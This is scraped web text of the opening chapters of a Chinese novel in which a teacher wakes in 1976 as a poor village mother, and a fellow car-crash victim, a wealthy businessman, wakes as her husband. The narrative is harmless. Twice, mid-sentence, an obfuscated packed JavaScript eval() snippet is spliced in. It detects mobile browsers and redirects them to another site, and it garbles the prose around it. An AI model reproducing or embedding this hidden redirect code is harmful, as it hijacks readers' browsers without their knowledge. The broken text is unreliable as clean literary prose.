《穿回七零奋斗日常》 1. 第一章 七月中旬,日头毒辣,热浪翻滚,闷热的天气能把人给热晕了。 苏窈刚从河里打了两桶水,就汗湿了背。她抹了一把汗水才挑起担子,摇摇晃晃地挑着水往二里地的一处破落小院而去。 小院有比人还高的夯土墙,一进去,收掇得还算是有条有理。在围墙边上有一小块菜地,就种了两株番茄和两株茄子,一栏豆角,以及挨着墙的一大棵灯笼椒。 院子里就两间夯土屋子,一个跟个卫生间大小的厨房,一个则是住人的。 厕所在外头,是吓人的公用旱厕。 而剩下的一间屋子,就是住人的。 苏窈把水倒进厨房的水缸里,才拿蒲扇扇了一会风,就听见屋子里传出小孩有气无力的啼哭声。 苏窈苦着一张脸放下蒲扇,快步走进了屋子。 屋里闷热昏暗,年代感十足。墙壁的缝隙,还有年代久远的屋顶,都透着光。 屋里物件很少,床边站了个又瘦又小的小姑娘。小姑娘衣服上全是补丁,手脚位置都短了一截。 听到声音,小姑娘转头看了过来。 小姑娘的皮肤被晒得很黑,嘴巴和脸颊两边还被晒得皲裂脱皮。 她一张口,朝着苏窈就是一声“娘。” 听到这声“娘”,苏窈就是听了三天,却还是免不了一哆嗦。 实在不能怪她,在三天前她还是个还没谈过恋爱,从事教师职业一年的普通人一个,可忽然一睁眼,就成了两个孩子的娘,她怎么可能习惯得了! 三天前,苏窈还是中学老师,意外发生车祸,以为自己死定了。结果一睁眼就是茅草屋顶,夯土屋子。身边躺着个嗷嗷待哺的小婴儿,还有一个趴在床头哭喊她“娘”小女孩。 看到这些,她属实人傻了。 懵了许久,一股子记忆涌进了脑海,才反应过来自己是穿越了,而不是被拐卖了。 她穿到了一九七六年,成了下河大队里的一个叫李春华的小媳妇。 李春华十七岁的时候,就被李家人以五十块聘礼钱,卖给了下河村大队一个叫夏老四的二流子做媳妇。 现在二十三岁的李春华,比苏窈原来的年纪还小一岁,但都已经是两个孩子的已婚妇女了。 在李春华的记忆里,夏老四游手好闲,爱偷鸡摸狗,所以没有哪家闺女愿意嫁给他。再加上他眼光还贼高,长得一般他还瞧不上呢。 夏老四碰巧遇上了老李家以高聘礼卖闺女,闺女也是有些姿色的,两人一拍即合,事就这么成了。 再说结婚到现在,那二流子三天两头不见人影,跟个甩手掌柜似的,根本不管家里头妻儿的死活。 只有原主一个人挣工分来养活自己和两个小的,身体早垮了。 小姑娘喊了一声娘后,说:“弟弟,哭。” 苏窈走到了床边,看向床上孱弱的小家伙。 姐姐营养不良,刚四个多月大的弟弟也好不到哪里去。 还没怎么见过阳光,小孩的皮肤很白,可除了眼睛大,整个身体瘦瘦小小,明明已经四个多月了,但看着却像是刚满月的婴儿。 她检查了尿布,还是干的,就说明是肚子饿了。 苏窈犯难了。 这个家里家徒四壁,能吃的就陶罐里剩下的两把晒干的番薯丁,还有外头菜地里的那些菜。根本就没有合适这个小孩吃的食物。 穿来的第一天,苏窈根本接受不了袒/胸/露/乳的给一个婴儿喂奶,就熬了番薯汤,用小勺子来喂。 前两顿没什么,只是到了晚上,小孩一直哭得不停,又吐又拉。 小孩因此折腾受罪,苏窈也被折腾得几乎崩溃后,她就不敢再喂了。 但不喂这些,就只能喂母乳了。 可让她一个既没结婚也没生过孩子的单身青年怎么喂得下去。 只是她根本就没有选择的余地。 喂的话小孩兴许能活,不喂有七八成是活不了的了。 第一次喂母乳,苏窈掀开衣服又压下,压下又掀开,反反复复了将近十分钟。最后还是听到小孩子快哭不出声了,她才艰难的妥协了。 今日早上也喂了一遍,算上现在这回才第三回。 她抱着孩子坐在床边上,对着小姑娘说:“苗丫你出去扫一扫院子。” 原主这一双儿女,大的闺女叫夏苗,小名苗丫,小儿子叫夏禾。 夏苗应了声“哦”,就趿着破草鞋哒哒哒地跑出了屋子外,出去后还知道把门关上了。 那房门腐朽得都是缝隙,好在院子外头没人,苏窈才敢放心。 她深呼吸了一口气后才掀开衣服,面红耳赤地奶孩子。 这种感觉真的很羞耻。 没一会,夏禾还没吃饱就已经空了,换了一边,还是没吃饱。 夏禾哼哼唧唧边拱边哭了起来。 苏窈也很想哭,很崩溃。 就算没吃饱,她也没办法呀。 李春华干得比老黄牛还多,可不仅吃不饱,吃的更是连半点油水的都没有,哪里会有奶? 夏禾大概已经习惯了,哼唧了几声后也没继续闹,窝在苏窈的怀中慢慢开始打鼾。 过了一小会,苏窈才屏着呼吸,轻轻地把孩子放到床上,放轻脚步慢慢后退出屋子。 出了屋子就看见夏苗拿着个大扫帚,顶着大太阳扫着院子的落叶。 太阳太大了,她喊:“不用扫了,晚点再扫吧。” 夏苗听话地放下了扫把。 苏窈去块菜地里摘了两个细长茄子和三条豆角。 虽然分了家,可老夏家还霸占着夫妻俩的自留地。 夏老四是个混的,他只管分家到手的粮食对不对,压根不管自留地的事。 而李春华性子软,根本不敢去争,也就只敢偷偷在家里种这么一些菜,种得不多,生产队也不怎么管。 这菜地很小,但却是这个家里所剩不多的存粮了。 苏窈把整个家里翻找过了,除了罐子里那两三把番薯干和这菜地里的菜,就只有五毛钱的身家。也难怪李春华没奶,夏禾那么瘦弱了。 按理说,还有一个月才分粮,家里还会有一些余粮的才是。但夏老四不上工,上工的几乎只有苏窈一个,所以这公分自然不够一家的嚼用,只能是省吃俭用,偶尔上山挖点野草和采点蘑菇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278793|166736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来果腹。 要不是还有这一小块菜地,除了夏老四外,这娘仨都得饿死。 苏窈生了火,把补了又补的铁锅涮干净,放了两瓢水。洗菜切条全给扔到了锅一块焖熟。 家里别的佐料都没有,就盐罐子里头有浅浅的一层盐,所以也就别想换着花样做了。 焖了大概十五分钟,打开木头盖子,再刮了一点点盐到锅里,翻炒了一回,才盛到两个土碗重。 一个放了小半碗菜,一个放了半碗菜半碗汤。 就算没生养过,苏窈也知道多喝汤水才能有奶。 拿了两双筷子,就在小厨房里头吃。 一张高板凳,两张矮板凳就成了桌椅。 这个院子原来是夏家三叔公的,三叔公是个老光棍,人没了,屋子就空了两年。 夏老四夫妻和老夏家分家后,也相当于是被赶了出来,就搬到了这里。 空了两年的房子,几乎是危房,但能有地方遮风挡雨已经很不错了。 苏窈喊了蹲在菜地玩蚂蚁的夏苗:“吃饭了。” 夏苗连忙放下树枝,跑了过来。 苏窈呶了呶下巴:“去洗手。” 夏苗眨了眨眼,虽然不知道为什么要洗手,但还是听话地走到水缸前,舀了一瓢水洗了手,回到高凳前坐下。 苏窈把少的那碗放到了她的面前:“热,慢点吃。” 夏苗点了点头,拿起筷子就低头慢慢地吃了起来。 苏窈吃了豆角,几乎没有半点味道,不难吃也不好吃,吃过无数美食,再吃这没有半点油水的菜,就好像是在嚼蜡。 她侧目看向低着头,默默吃着菜夏苗。 这三天相处下来,她对这个四五岁的小姑娘也有了个大概了解,话很少又很听话。不叫她的时候,都是一个人蹲在某个地方发呆,性子有点自闭。 她现在都没理清楚自己该怎么活,次要还是以后再想吧。 她现在首要的是先把娘仨几个的肚子填饱来,其次是那个二流子夏老四。 在李春华的记忆中,夏老四的长相不是很清晰,最清晰的认知是——这玩意不是个好东西。 好吃懒做,小偷小摸,脾气还大,稍一不顺就是扔东西,砸东西。 李春华胆子本来就小,夏老四在的时候,她就没怎么敢正眼瞧人,所以这结婚有五年了,也没认真仔细的看过夏老四的长相。 想到除了这一双便宜儿女外,还有这么一个混子丈夫,苏窈不仅心堵得慌,还觉得头疼得厉害。 吃了中饭,苏窈洗了两个碗,喊上春苗回屋睡午睡。 床够大,看着有两米宽,想怎么睡都行。 苏窈睡在中间,拿着蒲扇有一下没一下的摇晃着。有些许凉风,身边俩孩子都睡得香甜,她却是半点睡意都没有。 就现在这回,她对这俩孩子没有半点感情。可基于人道主义,她是不可能弃养的,那么她应该算是他们陌生的监护人。 照顾这两个孩子给了苏窈很大的压力,再转头看了眼家徒四壁的家和漏光的屋顶,压力顿时更大了。 苏窈烦得很,干脆闭上双眼,眼不见为净。 2. 第二章 下午上工的时间到了,生产队的大榕树下,大队长拿着个大喇叭吆喝着“上工了,上工了”,洪亮的声音响彻整个生产队。 苏窈和两个小孩都被这吆喝声给叫醒了。 没多一会,外头就传来了说话声,还有人朝院子里喊:“苗丫她娘,大队长让我转告你,没啥事了明天就上工吧。” 苏窈躺在床上没动,朝着外头随意应了声:“听到了。” 这六七十年代,在乡下要混口饭吃,不干这个时代违法的事,那就只能是下地干活挣工分了。 苏窈虽然老家是农村的,可自小学的时候,一家从村子里搬到县里后,她就没怎么干过农活了。 印象里也只有在很小的时候,跟着爸妈在田里玩泥巴的记忆。 她对干农活是抗拒的,但也知道想在这个时代活下去,是没法摆烂的。 苏窈起了床,用手抓了抓头发,用唯一的一根发绳把干枯发黄的头发扎了起来。 再次做了一小会的心理建设后才喂的夏禾。 喂完夏禾,苏窈开始收掇屋子和院子,让夏苗看着夏禾。 夏禾虽然已经四个多月了,但可能是营养跟不上,她观察了几天,也没见他翻过身。 苏窈收掇院子的时候,开着房门和窗户,时不时看一眼屋子里头的情况。 她把院子的枯叶都扫了干净,又把屋子里的床铺和衣服都拿去河边洗。 这个啥都要票的年头,布票难得,一家四口也就每个人两身换洗的夏衣,衣服上还都是补丁。 夏禾现在穿的衣服,还是夏苗小时候的。而夏苗的衣服也是李春华厚着脸皮从别人那里讨来的旧衣服。 从两岁穿到现在,裤脚和衣摆都短了一大截。 被单也有不少的补丁,质地是以前的老土布,虽然粗糙但结实耐用。只是破四旧,很多织布机都被砸烂了,所以现在就连老土布都是稀罕物了。 屋子里头还有一身男人的衣服,苏窈没动。 到了河边,苏窈能看到不远处在田里干活的生产队社员。 顶着毒辣的日头,戴着草帽在地里插秧。 苏窈想到田里有各种虫子和蚂蟥,再想明天自己也要下地插秧,只觉得头皮发麻。 社员似乎看到了她,一部分人停下了活计,交头接耳地朝着她这里看了过来。 不一会,就有一个人朝着她跑了过来,是个四十来岁的婶子。 苏窈回想了一下记忆,反应了过来,这是大队长家的媳妇,玉兰婶子,是个热心肠的。 苏窈喊了声:“婶子。” 玉兰婶子端详了几眼她的脸色,又瞧了眼她盆里的衣服,问:“苗丫他娘,你身体好些了没?” 几天前李春华忽然昏倒在田里,送去卫生所。卫生所大夫检查过,说是营养不良加上中暑才晕倒的。 这夏老四家是什么情况,大队里的人都是清楚的。 现在家家户户都是勉强度日的光景,谁也没那个闲粮救助他们。 再说那夏老四又懒又赖皮,得罪了大队里不少人,也没几个人愿意与他们家扯上半点关系,都是能避开就避开,省得被赖上。 整个生产队,也就只有大队长家的愿意搭理他们娘仨。 苏窈点头:“好很多了,明天就可以上工了。” 玉兰婶子点了点头,念说:“等你家那口子回来了,我让你叔说说他,家里几张嘴,怎能就只靠你一个女人来养家糊口,太不像话了。” 苏窈觉得那夏老四肯定不会听劝,但还是学着李春华的模样,小媳妇似的垂着脑袋点了点头,小声说:“谢谢婶子。” 玉兰婶子:“你记得明天上工,我先回去干活了。” 她转身正要走,身后传来李春华踌躇的声音。 “婶子,我能不能和你换几个鸡蛋?” 玉兰婶子转过身,诧异地看向她,心里却疑惑他们家还有什么能换的? 苏窈学着李春华的口吻解释:“下不了奶,禾娃子饿得天天哭。” 玉兰婶子前几天扶着李春华回去,也看到了那小娃子,瘦得那个叫人可怜见的。 小娃子瘦瘦小小的,脸色隐约发青。这年头,孩子夭折也是常有的。说得难听些,要是这孩子再不好好喂养,只怕也熬不过去了。 也不见得苗丫她娘拿得出什么东西来换,但到底还是心软了,应道:“成吧,等下工后,我给你拿过去。” 反正现在她当家,也没人说什么,少吃一口,还是能匀两三个鸡蛋出来的。 约定好了,玉兰婶子也回去干活了。 苏窈暗自松了一口气,蹲下身子开始洗衣服。 这些衣服和被子都太旧了,苏窈怕洗坏了,也不敢用力洗,只是简单搓一搓就拧干带回去。 回到院子,进屋瞧了眼,夏苗拿着一根草在夏禾的眼前摇摇晃晃的,夏禾眼珠子也跟着那草穗子转动。 确定没啥问题后,苏窈转身到院子把衣服和被子晾到竹竿上。 日头正好照到院子里,晒几个小时大概就能干了。 晾晒了衣服,苏窈往桶里装了满满的一桶水,打算晒热了用来洗澡。毕竟厨房里也没多少柴火了,山里还是有危险的,现在得省着用。 捯饬好了,她又到厨房往锅里放了半锅水,烧热给小的那个洗。 这几天,苏窈一直处于浑浑噩噩的状态,而且也没有给婴儿洗澡的经验,她自然是害怕的。 但夏禾已经三天没洗澡了,这么热的天再不洗就真的馊了。 家里有个破旧发黑的木盆,这是之前原主给夏禾夏苗洗澡用的。 用指甲一刮,还能刮下黑色的污垢。 苏窈忍受不了,没有刷子,就用一把野草捆成一捆使劲搓。冲了两遍水,才勉强洗去了表面一层泥垢。但盆体依旧还是泛黑,这应该是洗不干净的陈年污垢。 等水开后,又用热水烫了一遍,她心里才舒服一些。 舀了几瓢热水,兑了一些凉水,只半盆水她也好掌握一些。 回屋把夏禾身上的小衣服脱了,小小的一个孩子,瘦得皮包骨,很可怜。 苏窈心里还是堵堵的。 她小心翼翼地抱着小家伙出了屋子,在小板凳坐下。 夏禾眨了眨眼,看着自己的阿娘,也不闹。 夏苗也跟了出来,在盆旁边蹲了下来,看着阿娘给弟弟洗澡。 苏窈一手托着夏禾的脖子,一手托着腰臀的地方,缓缓地把他放到盆里。 把腰臀上的手拿开,才开始用布巾往夏禾的身上浇水,轻缓地擦洗。 洗到一半,才想起来没给他洗脸。 也就先这样了,一会再洗。 孩子太小了,而且还孱弱,苏窈洗得格外小心谨慎。 没一会就给抱了起来。 洗过澡的夏禾舒服了,但肚子又饿了,哼哼唧唧了几声。 苏窈让夏苗在外头等一会,就抱着夏禾回了屋,她低头念叨:“你小小的一个,怎就这么能吃呢?” 但想了想,这几顿下来,还没喝饱呢,她这身体就没奶了,小家伙能吃饱才奇怪。 就着布巾擦了身子,晾了一会水汽后,才用一块尿布包着喂奶。 夏禾没吃几口奶,又没了。他虽没吃饱,但也习惯了,在哼哼唧唧中很快就睡着了。 把夏禾放到床上,苏窈才伸展了一下手臂。明明才洗了一小会,却累得腰酸背痛。 出了屋子,拿着蒲扇在屋檐下慢慢扇着,看着院子发呆。 夏苗也坐在她旁边的木墩子上,两个人一起发呆,好一会,她才问:“娘,爹什么时候回来?” 苏窈回了神,摇了头:“不知道。” 但她希望能晚点回来,起码等她这身体先恢复恢复再回来。到时候就算真的要干架,也不至于一两下就被撂倒在地。 她转头看向夏苗:“你想你爹了?” 夏苗摇头:“不想。” 回答后又不说话了,低头玩着手里的草穗子。 苏窈心想,这个孩子还真安静。 没有钟表,也不知道傻坐了多久,外头忽然传来玉兰婶子的声音,把苏窈喊回了神。 “苗丫她娘你快开门。” 苏窈一愣,看了眼头顶上的烈日,心道这么早就下工了? 从板凳上站起,有些晕头,她缓了缓,应:“等一会。” 苏窈回到屋中,小夏禾听到外头的声音哼唧了几声,她连忙轻拍了他几下,安抚好了才从席子底下拿了两毛钱。 她快步出了屋子,去开了院门。 玉兰婶子进了院子,说:“我怕这下工人多,不好来,去上茅房的间隙就顺带回家给你带来了。”然后就从兜里掏了三枚鸡蛋出来:“你要的鸡蛋。” 鸡蛋个头有点小,也就比鹌鹑蛋大一些。 苏窈把两毛钱掏了出来,说:“我这也没有什么好东西换个婶子的,但也不能亏了婶子,婶子拿着。” 她在年代文里也是看过的,这个时代买卖是个忌讳,只能说换。 玉兰 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说着也把最后一枚鸡蛋放到陶罐中,等做饭的时候再拿出来。 虽然这三个鸡蛋不顶什么,可好歹是荤腥。 对于一年到头难见半点油腥的母女俩来说,也是补品了。 被揉了脑袋的夏苗,愣了一会才摸了摸自己的脑袋。 苏窈也注意到了夏苗的反应,回想了一下。 温饱都成了问题,原主李春华也被生活磋磨得厉害,大多时候都是闷声干活,几乎很少和自己的闺女亲昵。 离太阳下山还有段时间,苏窈想了想,还是决定再挑几桶水回来。把水缸挑满,也省得明天下地干活回来后没力气再挑水。 她挑水回来时,院子里头站了个人,似乎还有人进了她屋子,把她给吓了一跳。 她问:“这是咋了?” 听到她的声音,前面撩着裤头,小腿上还沾着泥的汉子转了身,抹了抹满头汗水,说:“夏老四跌进山沟了,也不知跌进去多久了,也没人发现,还是自己从沟里爬上来的,隔壁大队发现就给抬回到咱们大队了。” “我们喊人没应,见门没关就把人抬进来了。” 听到夏老四的名号,苏窈心头一跳,再听跌进山沟里被抬回来,心想肯定受伤不轻。 这时心下有一个想法一闪而过。 要不趁着夏老四受伤这个机会,翻身农奴做主? 苏窈把担子放了下来,朝着屋子踌躇走进去。 屋中两个人刚把人放到床上,挡住了夏老四的上半身,苏窈先看到的是一双大脚。脚上只有一只草鞋,另外一只草鞋也不知丢哪里去了。 而夏苗也坐在床上,轻轻地拍着弟弟的胸口,也没看昏迷的父亲,很是冷淡。 夏老四三天两头不着家,而且脾气那么臭,父女俩哪能有什么感情。 挡在前面的人转了身,都是大队里的人,看向苏窈,说:“去过卫生所了,医生说除了额头上面的伤口外都是些皮外伤。头上的伤口尽量十天半月别碰水。” 苏窈问:“说了什么时候能醒吗?” 男人应:“大概是磕着头昏过去了,应该很快就能醒……”顿了顿,话头一转:“还欠着卫生所的三毛钱呢,等夏老四醒了,你让他去交。” 大家伙都不咋喜欢夏老四,把人抬回来就已经仁至义尽了。 苏窈忙颔首感谢:“谢谢你们把他送回来,等我……男人醒了,我和他一块上门感谢。” 两个汉子急忙摆手:“不用不用!” 说着,逃跑似的跑出了屋子。 苏窈懵了一下,但很快就反应过来了。 就夏老四这胡搅蛮缠不讲理的劲,有恩都当作仇来报了,谁敢过多纠缠? 人走了,苏窈也抬眼看向床上的人。 看到夏老四的样貌,苏窈一愣。 夏老四身上的褂子和裤子都被划破了很多道口子,就是脸上也有些许刮伤,但还是看得出长得人模人样的。 眉骨深邃,鼻梁英挺,嘴唇也相对薄,虽然躺着,但看身量应该也挺高的。 这副样貌放在夏老四身上真是白瞎了。 只是,她怎么觉得这夏老四有些眼熟? 苏窈盯着看了许久,忽然一拍掌。 她知道像谁了! 像和她一块发生车祸的大佬——沈靳。 3. 第三章 苏窈盯着昏迷的夏老四看了很久。 是巧合吗?还是有亲戚关系? 眼前的夏老四,和她一起发生车祸的沈靳长得有五六分像。 上一辈子,苏窈是任职一年的初中教师。因形象气质好,领导安排她给学校捐款的各位企业大老板讲解校史。 其中有一位大佬,让苏窈印象很深刻。在一众秃顶啤酒肚的老总中,他鹤立鸡群,长得帅又年轻,还豪横地给学校捐了一栋楼。 她还听说沈靳并非富二代,他发家致富的过程很励志。 是被捡废品的奶奶带大的,初中之后就辍学了。去过工地做小工,也进过厂子,后来因长相好,就做了几年平面模特。 省吃俭用攒下一些钱后就开始创业,最后还真让他发家致富了。 算起来,三十三的年纪,但社会经验却有二十年,攒下了不少的财富。 在他们的小县城,还是首富呢。 听办公室的主任说,在他们学校就读过,所以才会捐赠教学楼。 学校格外重视沈靳,特意让苏窈招待仔细些。 捐款仪式后,在校外饭店订了桌,车子坏了一辆,正好是苏窈坐的车。 其他车都走得差不多了,沈靳的司机把她喊了过去,说是老板送她过去。 苏窈不好拒绝,也就上了车。 至于是怎么发生的车祸,苏窈只记得在十字路口过绿灯时,有一辆车疾速闯红灯撞了上来。 她依稀记得当时沈靳好像还伸手过来护她了。 苏窈再次眯眼端详床上的夏老四,她琢磨着,她发生车祸能穿回了七十年代,那大佬会不会也穿回来了? 长得这么像,应该不会只是巧合吧? 盯了很久,也不见夏老四有转醒的迹象。 犹豫了一下,苏窈还是伸手探了探夏老四的鼻息。 探到还是有气的,苏窈才松了一口气。 沈靳有没有穿回来,只等人醒来就能知道了。 要是真的夏老四,以记忆中的性子来说,一醒来肯定颐指气使。 如果是大佬,她也能一眼辨出来。 二人是截然不同的气质。 夏老四是远近闻名的二流子,而沈靳则浑身上下散发着沉着稳重的气度,也就是大佬的气度。 虽然大佬长相好,可跟这大佬坐同一辆车的时候,她也没敢多瞧。 期间不经意间对视了一眼,苏窈清楚记得沈靳的眼神淡淡的,没什么波动,是见过大风大浪的眼神。 可就是莫名让人不敢直视,让她多少带了些敬畏。 只要人醒了,她就能从眼神分辨出来。 苏窈心思沉沉地出了屋子,把刚担回来的水都倒进了水缸里,又去打了两回水,这才打满了水缸。 日头西移,没有钟表,苏窈也不知道什么时候了,但看着应该也有下午四五点了。 再过不久,大队也快要下工了。 她摸了摸晒了两个小时的水,已经很烫了。就是晾晒的衣服,这会只余一点点水汽,也能穿了。 她走进屋子,瞅了眼还在昏睡的夏老四,再看向姐弟俩。 夏禾又睡着了。 夏禾身体孱弱,大多时候都在睡觉。 她放轻声音喊:“苗丫,出来洗澡了。” 苗丫“哦”了一声,爬下了床,依旧是趿着草鞋出的屋子。 苏窈留意到夏苗的草鞋后脚都已经磨断了,得修一修了。 可她有原主的记忆,可手不会,还是等会得空了再细看看。 苏窈和夏苗出了屋子,她倒了一半晒烫的热水,兑了凉水就提到厨房里头。 厨房是泥土地,角落有个出水孔的,柴火少还在另一头,洗澡小心一点就不会弄湿,只是会把地上弄得泥泞。 这也是没办法的事,只能是晚上敞开着,明天早上就能吹干。 厨房的门是一扇可以搬动的草编门,竹子做框架,很简陋,一看就知道是李春华自己做的。 苏窈把衣服和布巾递给夏苗。 这家穷得很,也用不起毛巾,只能是用一块小旧布凑合用。 苏窈与夏苗说:“水已经提进厨房了,去洗吧。” 四五岁的孩子,已经会自己洗澡了。记忆里夏苗早早当家了,她娘上工时候,还会做饭了呢。 等夏苗进去了,苏窈才把简陋的草门搬到门口遮住。 夏苗洗澡时,苏窈在外头用夏禾的洗澡水把菜地给浇了。 活干到一半,苏窈蓦地一愣。 她这适应得也未免太好了?竟还会给自己找活干了! 仔细一琢磨,猜测是她这身体闲不下来的习惯。 不再多想,继续干活,毕竟接下来她也要活下去过日子的,该做的活还是得继续干。 浇了水,顺道把今晚的菜也给摘了。 看着地里不多的菜,苏窈很愁。离分粮还有差不多一个月。这地里的菜顶多也只能熬个十天,更别说多了个受伤的夏老四。 得想个办法弄点吃的才行。 苏窈摘了两个番茄和两个茄子,刚洗好,夏苗就在厨房里边喊:“娘,好了。” 苏窈把菜放到缸口的盖子上,去把厨房门搬开。 等把门搬开,就看到春苗头发湿漉漉贴着脑袋,淅淅沥沥地不停往下滴水。 这样子就像是被人刚从水里捞起来。 “等一下。”苏窈喊了声,从盆里湿哒哒的布巾捞起来,用力拧得最干的程度,才擦夏苗稀疏枯黄的头发。 夏苗抬眼定定地看着自己的娘,忽然说:“娘很久没给苗丫擦头了。” 苏窈边擦边回道:“那是因为你们的娘太累了太累了,所以才疏忽了你们,但还是很在意你们的。” 夏苗听到这话,垂下了眼皮子,没再说话。 擦了一会,苏窈问:“会洗自己的衣服吗?” 夏苗点头。 苏窈把厨房里的盆端了出去,放到了院子里,嘱咐:“那你先洗,洗好了我再晾起来,你不用搬凳子过来。” 嘱咐好春苗,也该到她洗澡了。 就是没下地干活,她也出了一身汗,浑身黏黏糊糊的。 她把剩下来的热水全兑了凉水,满满一桶,摇摇晃晃地提到了厨房。 出去又拿着衣服进来,搬上门后把衣服脱了。 她低头看了眼,忍不住叹了一口气。 这瘦得就好像都是骨头,只有胸口是有些起伏的。要是不在哺乳期,估摸着都是瘪的。 唯一好的地方,就是没被太阳晒过的地方很白,是冷白皮。 这里没有镜子,也只有用水照出个大概轮廓,李春华长得应该是不差的,不然夏老四也不会瞧得上。 只是这几年被磋磨得厉害,难免会磕碜了一些。 但到底和她原来的身体像不像,她还真瞧不出来。 像与不像都没啥用,又不能当饭吃。 苏窈叹了一声气,收回目光,用水瓢舀水冲到自己身上。 正洗着澡,隐约听到了夏禾哼哼唧唧的哭声。她动作一顿,仔细一听,还真是夏禾哭了。 她连忙把桶里的水都往身上一倒,简单地擦了身子就穿上衣服,搬开门快步往房间跑去。 才进房间,看到床上的画面,脚步猛地一顿。 只见夏苗傻愣愣地站在床边,而昏迷的夏老四已经醒了,这会他正坐在床上,怀里抱着夏禾,轻拍着。 夏老四转头朝着苏窈望了过去,只看了一眼,就很平静地转回了视线,开了口:“不哭了,应该是饿了。” 夏老四大概是太久没喝水了,声音带着些沙哑。 苏窈在对上那眼神的时候,却是浑身一僵,心里头似乎在打着鼓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278795|166736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——很熟悉的眼神。 苏窈忽然有些想哭。 对于醒来的是谁,她都做好了心里准备是夏老四了。也做好长期斗争打算了,可现在看来似乎不用了。 一个人的眼神是骗不了人的。 这淡漠平静的眼神,根本就不是夏老四该有的眼神。 而且以夏老四的性子,一醒来看见孩子哭,肯定是先骂骂咧咧的,再喊魂似的把自己的婆娘喊过来,根本不可能抱孩子。 她深呼吸了一口气,应:“好。” “苗丫,没事了,你出去继续洗衣服吧。” 夏苗点了点头,出去的时候,还是不安地看向抱着弟弟的父亲。 苏窈给了她一个安抚的眼神,然后等她出去后,才走到床边。 在“夏老四”把孩子递过来的时候,苏窈没接,嘴唇颤抖地开了口:“沈总?” “夏老四”听到这声称呼,再次抬头看向站在床边的农村妇女。 应该是二十来岁的年纪,但过于瘦和憔悴,皮肤发黄,头发枯燥,看起来比实际年纪要大一些。 他端详了一小会,才不确定的开口:“苏老师?” “苏老师”这个称呼,明明三天还有人叫着,可却好像是和她隔了一辈子,苏窈红了眼。 她连连点了好几次头:“我是,我是。” 这个时代,多了一个她虽然只见过一面,但却是同一个地方来的“老乡”,她惶恐不安的情绪顿时消了一大半。 苏窈压制住了心里的激动,小声说:“我三天前一醒来,就成了现在这个叫李春华的,脑子里还有她的记忆。” 沈靳仔细打量了她一眼,然后也说起自己的遭遇:“我是今天睁开眼时才发现自己在坑里,脑子里也多了另外一个人的记忆,从沟里爬出来就晕了过去,再醒来就是现在。” 他低头看了眼怀里的瘦骨嶙峋的小婴儿:“所以我现在是叫夏向东的二流子?还是这个孩子的爹??” 苏窈提醒:“还有个叫苗丫的闺女。” 沈靳沉默。 苏窈心想自己都花了好几天才接受自己不仅穿越了,还成了有两个孩子的已婚妇女的事实,估计沈靳也得花些时间来消化。 可沈靳似乎比她接受得更快。 不过沉默了一会,他就说:“现在的情况,比起死亡或做个植物人,是最好的结果。” 说到这,他抬头看向苏窈,说:“如果我没喊苏老师坐我的车,苏老师就不会遭遇这种情况,是我连累苏老师了。” 说实话,苏窈心里没半点怨言是不可能的。但谁也不知道会发生车祸,沈靳也是好意,况且也是她自己选择上车的。 只是这沈靳忽然提起来,她心里一时间有那么点复杂。 安静了一会,还没等苏窈接话,在沈靳怀里的夏禾又开始哼哼唧唧地哭起来。 沈靳暂时收起思绪,低头看了眼瘦小的孩子。 通过夏老四的记忆,知道这个时代奶粉是稀罕物,有钱都不一定能买得到,这个孩子好像也才几个月大,所以问:“这小孩吃什么?” 苏窈耳根子一红。喂是喂了,但和知道自己底细的人说是怎么喂的,是一件很羞耻的事情。 她清咳了一声,镇定的说:“先给我吧。” 沈靳把孩子递给了她,注意到她面红耳赤,顿时明白了这个孩子吃的什么,也没再追问。 苏窈接过了夏禾,说:“等会晚点再说。” 然后把孩子抱出了屋子,去了厨房。 苏窈坐在厨房烧火的板凳上喂着夏禾,情绪也慢慢平缓了过来。 在这个物资匮乏的时代,虽然快改革开放了,但她一个人拉扯着俩孩子,也是有很大的压力,也得吃很多的苦。 现在来了个能帮上忙的人,自然是报团取暖活下去,怪不怪罪的,也没那么重要了。 4. 第四章 等苏窈喂好夏禾,从厨房出来已经是十五分钟后的事情了。 夏苗洗好了衣服。说不让她挂衣服,她倒好,自己搬来板凳把衣服挂了上去。衣服拧得不干,还淅淅沥沥地滴着水呢。 苏窈觉得这样太危险了,想着下回得与夏苗好好说一说。 不过夏苗去哪了? 看了眼院门,门还关着,以夏苗的身高是开不了的,那只能是在屋子里头了。 进了屋一看,还真在。 只不过“父女”俩谁都没有搭理谁。 夏苗搬了个小板凳坐在门边,而沈靳则沉默地坐在床上,大概是还在平缓穿越时代和巨大贫富的落差中。 前几天还是豪宅,今天就变成了家徒四壁,摇摇欲坠的破房子,任谁都会破防。 就是她,先前住的是学校的宿舍,再住这四面漏风的破屋,也有很大的落差。 苏窈把还没睡的夏禾塞到沈靳的怀里,沈靳顿时回神,抬眼看向她。 苏窈:“能不能抱一下,我要去做饭。” 沈靳点了头。 两个人虽然陌生,但也很有默契。 苏窈瞧了眼他抱孩子的姿势,心想没想到大佬也会带孩子。 见状她也就放心了,出了屋子,没一会拿了个碗回来。 沈靳看着她从床底扒拉出一个陶罐。打开后,从里掏出一把白色的番薯丁。 沈靳就坐在床边,低头一看,就能看到陶罐里头的粮食都要见底了。 可见这个家有多么的穷,穷得连饭都快吃不上了。 